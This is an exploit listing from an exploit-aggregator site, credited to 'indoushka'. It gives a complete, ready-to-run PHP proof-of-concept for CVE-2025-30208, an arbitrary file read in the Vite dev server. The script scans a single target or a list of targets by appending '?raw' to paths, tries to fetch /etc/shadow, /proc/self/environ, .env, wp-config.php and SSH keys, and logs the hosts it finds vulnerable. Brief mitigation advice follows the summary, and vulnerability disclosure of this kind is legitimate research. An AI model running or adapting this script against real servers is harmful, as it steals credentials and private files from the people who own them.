Share
## https://sploitus.com/exploit?id=PACKETSTORM:216871
=============================================================================================================================================
| # Title : Vite 6.2.2 Arbitrary File Read โ PHP Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://vite.dev/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/190227/ & CVE-2025-30208
[+] Summary
Vite contains an arbitrary file read vulnerability allowing an attacker to read arbitrary files on the server by requesting a crafted path suffixed with ?raw. This PoC demonstrates automated checks for a target or a list of targets and attempts to retrieve local files by appending ?raw.
Technical Details:
The PoC sends HTTP GET requests to TARGET + FILE_PATH + "?raw".
When the response code is HTTP 200 and the response body is non-empty, the file is considered retrievable (vulnerable).
The PoC uses cURL (in PHP) and allows toggles for verbose output, output file, and trying multiple payloads.
A production-ready PHP script vite_afr_poc.php is provided (see above).
[+] Usage examples:
Single target: php poc.php http://localhost:5173 --file=/etc/passwd --verbose --output=found.txt
Multiple targets: poc.php --list=targets.txt --try-all --output=found.txt
[+] Impact:
Disclosure of sensitive files such as /etc/passwd, .env, config files, and other server-local secrets.
[+] Mitigation:
Upgrade Vite to the vendor-fixed version. Apply vendor patches.
Harden server-side path handling and ensure raw file access isn't exposed via the webserver or dev server endpoints.
In production, disable dev server features or restrict them to loopback interfaces only.
[+] poc
Run using: php poc.php [target] [--list=domains.txt] [--file=/etc/passwd] [--verbose] [--output=found.txt] [--try-all]
<?php
/**
* PoC: CVE-2025-30208 - Vite Arbitrary File Read
* Usage: php poc.php [target] [--list=domains.txt] [--file=/etc/passwd] [--verbose] [--output=found.txt] [--try-all]
* by indoushka
*/
ini_set('display_errors', "0");
date_default_timezone_set('UTC');
$options = getopt("", ["list:", "file:", "verbose", "output:", "try-all", "help"]);
$argv_copy = $argv;
array_shift($argv_copy); // remove script name
// Determine positional target if provided
$target = null;
foreach ($argv_copy as $arg) {
if (substr($arg, 0, 2) === "--") continue;
if ($arg === basename(__FILE__)) continue;
// skip known flags (handled by getopt)
if (strpos($arg, '=') !== false) continue;
// take first non-flag as target
if ($target === null) $target = $arg;
}
// Default file based on OS
$osFamily = PHP_OS_FAMILY; // "Windows", "Linux", "Darwin", etc.
$defaultFile = ($osFamily === "Windows") ? "C:\\Windows\\System32\\drivers\\etc\\hosts" : "/etc/passwd";
$fileToRead = isset($options['file']) ? $options['file'] : $defaultFile;
$domainListFile = isset($options['list']) ? $options['list'] : null;
$verbose = isset($options['verbose']);
$outputFile = isset($options['output']) ? $options['output'] : null;
$tryAll = isset($options['try-all']);
// Payloads (common sensitive paths) โ used when --try-all provided
$payloads = [
// Unix/Linux
"/etc/passwd",
"/etc/hosts",
"/proc/self/environ",
"/etc/shadow",
"/root/.ssh/authorized_keys",
// Common web files
"/.env",
"/config.php",
"/wp-config.php",
// Windows
"C:\\Windows\\System32\\drivers\\etc\\hosts",
"C:\\Windows\\win.ini"
];
function print_rtl($text) {
// For CLI, we just output. The user requested RTL formatting in chat.
echo $text . PHP_EOL;
}
function build_url($target, $path) {
// Build URL carefully: if target ends with slash and path begins with slash, avoid double slash.
$t = rtrim($target, "/");
// If path is absolute file path (starts with / or letter:), we still append as in original PoC: target + path + ?raw
// But for Windows paths, convert backslashes to forward slashes for URL usage.
$p = $path;
$p = str_replace("\\", "/", $p);
// Ensure there's a slash between target and path if not present
if (strpos($p, "/") !== 0) {
$p = "/" . $p;
}
return $t . $p . "?raw";
}
function http_get($url, $timeout = 5) {
// Use cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
// Ignore SSL verification like original PoC
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// Set a reasonable User-Agent
curl_setopt($ch, CURLOPT_USERAGENT, "PoC-CVE-2025-30208-php/1.0");
$body = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = null;
if ($body === false) {
$err = curl_error($ch);
}
curl_close($ch);
return ['code' => $http_code, 'body' => $body, 'error' => $err];
}
function report_vuln($url, $outputFile = null) {
$msg = "[+] Vulnerable : " . $url;
echo $msg . PHP_EOL;
if ($outputFile) {
file_put_contents($outputFile, $url . PHP_EOL, FILE_APPEND | LOCK_EX);
}
}
function check_vulnerability($target, $filePath, $verbose=false, $output=null) {
$url = build_url($target, $filePath);
echo "[*] Testing: {$url}" . PHP_EOL;
$res = http_get($url, 5);
if ($res['error']) {
echo "[!] Error testing {$url}: " . $res['error'] . PHP_EOL;
return;
}
if ($res['code'] === 200 && strlen((string)$res['body']) > 0) {
report_vuln($url, $output);
if ($verbose) {
echo PHP_EOL . "--- File Content Start ---" . PHP_EOL;
// Print first 500 chars safely
$snippet = mb_substr((string)$res['body'], 0, 500);
echo $snippet . PHP_EOL;
echo "--- File Content End ---" . PHP_EOL . PHP_EOL;
}
} else {
echo "[-] Not vulnerable or file does not exist: {$url} (HTTP {$res['code']})" . PHP_EOL;
}
}
function check_multiple_domains($filePath, $domainListFile, $verbose=false, $output=null, $tryAll=false, $payloads=[]) {
if (!file_exists($domainListFile)) {
echo "[!] Error: The file '{$domainListFile}' does not exist." . PHP_EOL;
return;
}
$lines = file($domainListFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $domain) {
$domain = trim($domain);
if ($domain === "") continue;
if ($tryAll && !empty($payloads)) {
foreach ($payloads as $p) {
check_vulnerability($domain, $p, $verbose, $output);
}
} else {
check_vulnerability($domain, $filePath, $verbose, $output);
}
}
}
// Main execution flow
if (isset($options['help'])) {
echo "Usage: php " . basename(__FILE__) . " [target] [--list=domains.txt] [--file=/etc/passwd] [--verbose] [--output=found.txt] [--try-all]" . PHP_EOL;
exit(0);
}
if ($domainListFile) {
check_multiple_domains($fileToRead, $domainListFile, $verbose, $outputFile, $tryAll, $payloads);
} elseif ($target) {
if ($tryAll) {
foreach ($payloads as $p) {
check_vulnerability($target, $p, $verbose, $outputFile);
}
} else {
check_vulnerability($target, $fileToRead, $verbose, $outputFile);
}
} else {
echo "Please provide a target URL or a domain list file. Example:" . PHP_EOL;
echo "php " . basename(__FILE__) . " http://localhost:5173 --file=/etc/passwd --verbose --output=found.txt" . PHP_EOL;
echo "php " . basename(__FILE__) . " --list=targets.txt --try-all --output=found.txt" . PHP_EOL;
exit(1);
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================